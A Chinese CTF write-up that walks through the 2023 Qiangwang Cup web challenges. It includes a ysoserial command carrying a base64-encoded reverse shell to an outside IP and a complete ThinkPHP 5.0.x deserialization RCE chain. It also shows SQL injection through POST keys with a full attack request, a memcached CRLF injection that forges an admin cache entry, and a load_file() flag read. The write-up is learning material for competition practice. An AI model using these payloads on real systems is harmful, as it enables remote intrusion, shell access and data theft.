2023强网杯初赛WEB复现学习
happygame
参考Notion – The all-in-one workspace for your notes, tasks, wikis, and databases.然后用以下工具连接
项目地址GitHub - fullstorydev/grpcui: An interactive web UI for gRPC, along the lines of postman
之后是打cc6的反序列化链就行了 恶心的是有时候会莫名其妙报错弹不过来 得多打几次
用ysoserial生成文件上传即可
1
| java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2LzM2LjE0MC45NS4xMjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}">payload
|
thinkshop
解题
首先是给了附件 不是直接给了源码包 需要自己docker本地搭一下
根据给的readme搭就行了
1 2 3
| 内部端口80,flag为环境变量设置flag 首先需要docker load < thinkshop.tar docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop
|
搭建好之后直接来看start.sh
这里有一些初始化的操作
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702906801408-33c301ba-0e03-412c-94b9-751a4de0cff4.png)
查看shop.sql可以发现 账号和密码 密码是123456的md5之后的值
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702906913868-000427f6-1e19-4e3e-9d26-19b2975891c5.png)
这里有个坑就是登录名不是admin而是1 因为find()在这里去找了主键列查询的是id
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702957445255-8bac792d-be33-41c6-86bd-b544da669f13.png)
登录成功之后通过修改商品信息将序列化的数据利用sql注入存入数据库中 然后在商品展示界面会将我们的data部分数据反序列化
利用点如下
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702957636093-3ce0415f-1890-4a94-90bd-fee7ec6f996f.png)
在商品信息更新这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function do_edit() { if(!session('?admin')) { $this->error('请先登录','index/admin/login'); } $goodsModel = new Goods(); $data = input('post.'); $result = $goodsModel->saveGoods($data); if ($result) { $this->success('商品信息更新成功', 'index/index/index'); } else { $this->error('商品信息更新失败'); } }
|
input函数是一个自定义函数 会接收我们输入值 在这里是$_POST
数组 然后会进入Good类中的saveGoods()
我们跟进
到save函数
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702958009453-a1598e89-2930-4682-a99a-13c070f0531d.png)
接着会到Update类中的updatedata()
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702958048311-77ef2525-290f-4d3f-b18a-2e3a722cc710.png)
这里会对我们提交的整个post数组遍历
并且对$key
也就是键 未做任何限制以及过滤 存在sql注入
注入形式为
1
| data`%3Dunhex('十六进制数据')/**/where/**/id%3D1/**/or/**/6%3D6#=1
|
这里还存在一个小点就是因为是键这里存在注入点 因此我们的恶意payload要全部放在键的位置
所以第一个等号要url编码
此次之外php中变量中的空格会被当作非法符号会被转为_
因此这里需要/**/
来替代空格
报错可以得知是5.0.23的版本
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702961512398-e6790213-91f4-4756-b225-d64896ea0645.png)
直接找现成的exp 之后我也会调试过一遍这个链子 我分析过写文件的链子 这个直接rce的反而被我忽略了
ThinkPHP5反序列化利用链总结与分析 - FreeBuf网络安全行业门户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| <?php namespace think\process\pipes{ use think\model\Pivot; ini_set('display_errors',1); class Windows{ private $files = []; public function __construct($function,$parameter) { $this->files = [new Pivot($function,$parameter)]; } } $a = array(new Windows('system','cat /*')); echo bin2hex(base64_encode(serialize($a))); } namespace think{ abstract class Model {} } namespace think\model{ use think\Model; use think\console\Output; class Pivot extends Model { protected $append = []; protected $error; public $parent; public function __construct($function,$parameter) { $this->append['jelly'] = 'getError'; $this->error = new relation\BelongsTo($function,$parameter); $this->parent = new Output($function,$parameter); } } abstract class Relation {} } namespace think\model\relation{ use think\db\Query; use think\model\Relation; abstract class OneToOne extends Relation {} class BelongsTo extends OneToOne { protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct($function,$parameter) { $this->selfRelation = false; $this->query = new Query($function,$parameter); $this->bindAttr = ['']; } } } namespace think\db{ use think\console\Output; class Query { protected $model; public function __construct($function,$parameter) { $this->model = new Output($function,$parameter); } } } namespace think\console{ use think\session\driver\Memcache; class Output { protected $styles = []; private $handle; public function __construct($function,$parameter) { $this->styles = ['getAttr']; $this->handle = new Memcache($function,$parameter); } } } namespace think\session\driver{ use think\cache\driver\Memcached; class Memcache { protected $handler = null; protected $config = [ 'expire' => '', 'session_name' => '', ]; public function __construct($function,$parameter) { $this->handler = new Memcached($function,$parameter); } } } namespace think\cache\driver{ use think\Request; class Memcached { protected $handler; protected $options = []; protected $tag; public function __construct($function,$parameter) { // pop链中需要prefix存在,否则报错 $this->options = ['prefix' => 'jelly/']; $this->tag = true; $this->handler = new Request($function,$parameter); } } } namespace think{ class Request { protected $get = []; protected $filter; public function __construct($function,$parameter) { $this->filter = $function; $this->get = ["jelly"=>$parameter]; } } }
|
这里还有细节 就是如果我们直接用找到的exp是打不通的 会报错
为什么呢
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702961662019-a4b3c0b6-334f-409b-a2c9-1720c9c9c90b.png)
我们来看源码在index.php
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702961720434-8c0be840-303b-41ce-87bc-1e04f3aafbae.png)
这里会调用getGoodsById()这个函数 通过id将商品信息展示出来 我们跟进
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702961787825-08229a75-1038-4aca-8f6d-dddb6dd2deb1.png)
这里存在if语句 只有当我们的序列化前三个字符为YTo时候才能正常返回数据 不然就会报错
那么如果我们直接用现成的exp得到的payload 是以Yzo开头的
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702961926210-57776333-6a69-4cbc-a098-378188fc97c9.png)
所以这里相当于是过滤了O开头的序列化数据 因此我们需要用array套一层
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702962000796-d8a07081-ba60-473a-88de-68622e10e85f.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /public/index.php/index/admin/do_edit.html HTTP/1.1 Host: 8.130.34.53:36000 Content-Length: 3642 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://8.130.34.53:36000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://8.130.34.53:36000/public/index.php/index/admin/goods_edit/id/1.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: lang=zh-CN; PHPSESSID=bd8qvbnd5o75gf8hee58mjc2dl; security=low; session=s%3AwF7W5kbM_l9kvG45vBvcplohNTrNUGDm.rlq4UgfTZE97SVMLHKBWb1E1FKhkK9XSTVSf4RMR5mU; ajs_anonymous_id=16400539-7c9c-4fb2-a5e1-9e30824abd6f; beegosessionID=669d3f25e6e82d40ee79eef74ed5c359 Connection: close
id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3Dunhex('59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246785161585a76644349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d547037637a6f314f694a715a57787365534937637a6f344f694a6e5a585246636e4a766369493766584d364f446f6941436f415a584a79623349694f3038364d7a4136496e526f61573572584731765a47567358484a6c624746306157397558454a6c624739755a334e55627949364d7a7037637a6f784e546f6941436f41633256735a6c4a6c6247463061573975496a74694f6a4137637a6f344f6949414b6742786457567965534937547a6f784e446f6964476870626d74635a474a635558566c636e6b694f6a453665334d364f446f6941436f416257396b5a5777694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f3331396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e74704f6a4137637a6f774f6949694f333139637a6f324f694a7759584a6c626e51694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f333139665831396658303d')/**/where/**/id%3D1/**/or/**/6%3D6#&data=123%0D%0A
|
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702962450408-5c2cd26c-a85f-4dbd-bce7-939784dd8d56.png)
成功
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702962464453-4874790c-8e3d-4dc4-8569-c1ccbf5a5da9.png)
thinkphp5.0.x RCE反序列链分析
那么我们之前是已经分析过直接写shell文件的链子了 Thinkphp5.0.x~5.2.x版本反序列化链挖掘学习
在这里的链子是直接RCE的
整个链子我愿称之为是5.0.xshell链子的前半段+5.1.xRCE链子的后半段融合版本
前面的链子和5.0.x几乎相同 直到来到Memcached.php write()函数
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702971190280-7ec590ae-3529-42d9-bd4d-99bdf3c54be3.png)
5.0.x中我们是调用了File类中的set方法去写shell
但是这条链子我们还是继续调用本类中的set方法
我们跟进一下 这里着重关注has()方法 传入的$name
是我们可控的变量和<getAttr>xxx<getAttr>
拼接的结果
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702971298577-f25fd92a-db9a-43ad-b262-eb3dce893ef2.png)
继续跟进 接着会调用$this->handler->get
方法 可以看到此时$this->handler
为Request对象 那么调过5.1.xrce链子的都会很熟悉这个Request类 我们就是利用这个类来RCE
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702971524833-f26caae8-de39-468a-b956-a8ce443ca468.png)
跟进到Request中的get方法 传入input函数的$this->get就是我们输入的get传参
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702971703269-e39ca43a-d1e9-4584-8bbd-3e5c53d4b6d2.png)
继续跟进到getFilter这里我们的filter还是空值 那么就是由这个函数帮我们赋值的 并且$this->filter
可控
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702972367586-8be3bc25-e176-4464-b9b5-c663b53a5d65.png)
跟进获取到filter 之后会被当作命令执行函数调用
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702972401359-2ac1eb11-c1f4-47c8-85ec-24e0587b4fb5.png)
最后到了filterValue() 老朋友了 里面存在call_user_func()
直接进行命令执行 这么这个链子就算是完成了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702972503070-1c67ca7a-917c-4e46-9a82-709ba0110556.png)
整个调用栈为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Request.php:1094, think\Request->filterValue() Request.php:1040, think\Request->input() Request.php:706, think\Request->get() Memcache.php:66, think\cache\driver\Memcache->has() Memcache.php:98, think\cache\driver\Memcache->set() Memcached.php:102, think\session\driver\Memcached->write() Output.php:154, think\console\Output->write() Output.php:143, think\console\Output->writeln() Output.php:124, think\console\Output->block() Output.php:212, call_user_func_array:{thinkphp/library/think/console/Output.php:212}() Output.php:212, think\console\Output->__call() Model.php:912, think\console\Output->getAttr() Model.php:912, think\model\Pivot->toArray() Model.php:936, think\model\Pivot->toJson() Model.php:2267, think\model\Pivot->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
参考:2021 0CTF FINAL wp
和上一题相同给了附件 先把环境本地搭起来
这一题和上一题不同的是没有了插入账号密码这条数据了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702974066962-dff9e6bb-463a-4f0f-95dd-fabfc5e9aa22.png)
并且反序列化入口地址也被删除了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702974868120-7a71d779-fe2a-428e-9af9-796aa473f4e7.png)
最重要的是mysql的secure_file_priv为空 那么这个值不为空的时候比如被设置为/var/lib/mysql-files/
那么用户只能使用 LOAD DATA
和 SELECT ... INTO OUTFILE
将文件保存到或者从/var/lib/mysql-files/
目录中
为空则表示没有限制了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702974362330-1f194402-43f5-40b4-a5a1-49d8f11268c8.png)
那么我们就可以用sql注入来任意文件读取了
但关键是我们该如何登录呢
我们再来看一眼start.sh 可以看到是在11211端口启动了memcached 那么这是什么呢 它是一个内存数据库
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702975001753-fb10f6df-577c-4b61-b1e4-7369b1a6154d.png)
并且也配置了cache使用memcached做缓存
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702975747424-2f9e8e08-74a7-44f9-a925-e56bd17954c3.png)
登录的时候 使用了cache获取缓存
跟进find函数 此处调用了memcache的get指令
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702975946864-223a0edb-5233-425f-b630-f2deed26e9a1.png)
并且根据$key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
缓存的key格式为think:shop.admin|username
那么怎样控制缓存的值 memcached存在CRLF注入漏洞 参考:php-memcached CRLF绕过 - FreeBuf网络安全行业门户
通俗来看就是可以通过set设置任意值 比如
1 2 3 4
| TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf 等价于 set snowwolf 0 500 4 wolf
|
根据大头师傅的方法可以得到memcacged的值的样子[CTF复现计划]2023强网杯初赛 thinkshop[ping]
1 2 3
| telnet 127.0.0.1 11211 get think:shop.admin|admin a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
|
除此之外根据大头师傅还有坑点:
这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:
上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用
所以我们构造CRLF注入命令要把flags设置为4 也就是数组形式
构造
1
| username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin
|
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1702978743938-c087ad37-acc8-44dc-8d8d-4fe6b84a4ab0.png)
然后登录抓包修改payload为
1
| data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1
|
参考:
学习于各位厉害的师傅 跪拜:
[CTF复现计划]2023强网杯初赛 thinkshop[ping]
强网杯 2023 By W&M - W&M Team
2021 0CTF FINAL wp